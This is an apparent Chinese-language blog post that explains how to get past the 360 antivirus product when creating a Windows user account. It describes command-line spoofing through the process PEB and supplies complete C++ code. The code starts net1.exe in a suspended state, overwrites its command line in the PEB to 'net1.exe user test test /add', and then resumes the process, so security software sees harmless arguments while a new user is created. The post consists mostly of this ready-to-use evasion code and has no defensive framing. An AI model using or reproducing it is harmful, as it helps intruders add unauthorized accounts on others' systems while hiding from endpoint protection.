挂起状态下创建子进程绕过360创建用户

前言:挂起状态下创建子进程绕过360创建用户

绕过方案

1.在挂起状态下创建子进程;

2.使用NtQueryInformationProcess检索PEB地址;

3.使用WriteProcessMemory覆盖存储在PEB中的命令行数据;

4.恢复进程;

代码实现

#include <iostream>
#include <Windows.h>
#include <winternl.h>

typedef NTSTATUS(NTAPI* lpRtlAdjustPrivilege)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
lpRtlAdjustPrivilege RtlAdjustPrivilege = nullptr;


typedef NTSTATUS(*NtQueryInformationProcess2)(
	IN HANDLE,
	IN PROCESSINFOCLASS,
	OUT PVOID,
	IN ULONG,
	OUT PULONG
	);

void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
	SIZE_T bytesRead;
	char* alloc;

	alloc = (char*)malloc(bytes);
	if (alloc == NULL) {
		return NULL;
	}

	if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
		free(alloc);
		return NULL;
	}

	return alloc;
}

BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
	SIZE_T bytesWritten;

	if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
		return false;
	}

	return true;
}

int main(int argc, char** canttrustthis)
{

	//HMODULE hNtdll = LoadLibrary("ntdll.dll");

	//RtlAdjustPrivilege = (lpRtlAdjustPrivilege)GetProcAddress(LoadLibrary("ntdll.dll"), "RtlAdjustPrivilege");

	//BOOLEAN boAdjustPrivRet;
	//RtlAdjustPrivilege(19, TRUE, FALSE, &boAdjustPrivRet);
	STARTUPINFOA si;
	PROCESS_INFORMATION pi;
	CONTEXT context;
	BOOL success;
	PROCESS_BASIC_INFORMATION pbi;
	DWORD retLen;
	SIZE_T bytesRead;
	PEB pebLocal;
	RTL_USER_PROCESS_PARAMETERS* parameters;


	memset(&si, 0, sizeof(si));
	memset(&pi, 0, sizeof(pi));

	// 创建进程
	success = CreateProcessA(
		NULL,
		(LPSTR)"net1.exe user", //不被检测的参数
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
		NULL,
		"C:\\Windows\\System32\\",
		&si,
		&pi);

	if (success == FALSE) {
		printf("[!] Error: Could not call CreateProcess\n");
		return 1;
	}

	//查找peb表
	NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
	ntpi(
		pi.hProcess,
		ProcessBasicInformation,
		&pbi,
		sizeof(pbi),
		&retLen
	);

	success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
	if (success == FALSE) {
		printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
		return 1;
	}

	parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
		pi.hProcess,
		pebLocal.ProcessParameters,
		sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
	);

	// 替换pe表,写入要绕过的命令
	WCHAR spoofed[] = L"net1.exe user test test /add\0";
	success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
	if (success == FALSE) {
		printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
		return 1;
	}

	/////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////

	// Update the CommandLine length (Remember, UNICODE length here)
	DWORD newUnicodeLen = wcslen(spoofed)*2;

	success = writeProcessMemory(
		pi.hProcess,
		(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
		(void*)&newUnicodeLen,
		4
	);
	if (success == FALSE) {
		printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
		return 1;
	}

	ResumeThread(pi.hThread);
}
posted @ 2020-03-07 21:45  zpchcbd  阅读(203)  评论(0)    收藏  举报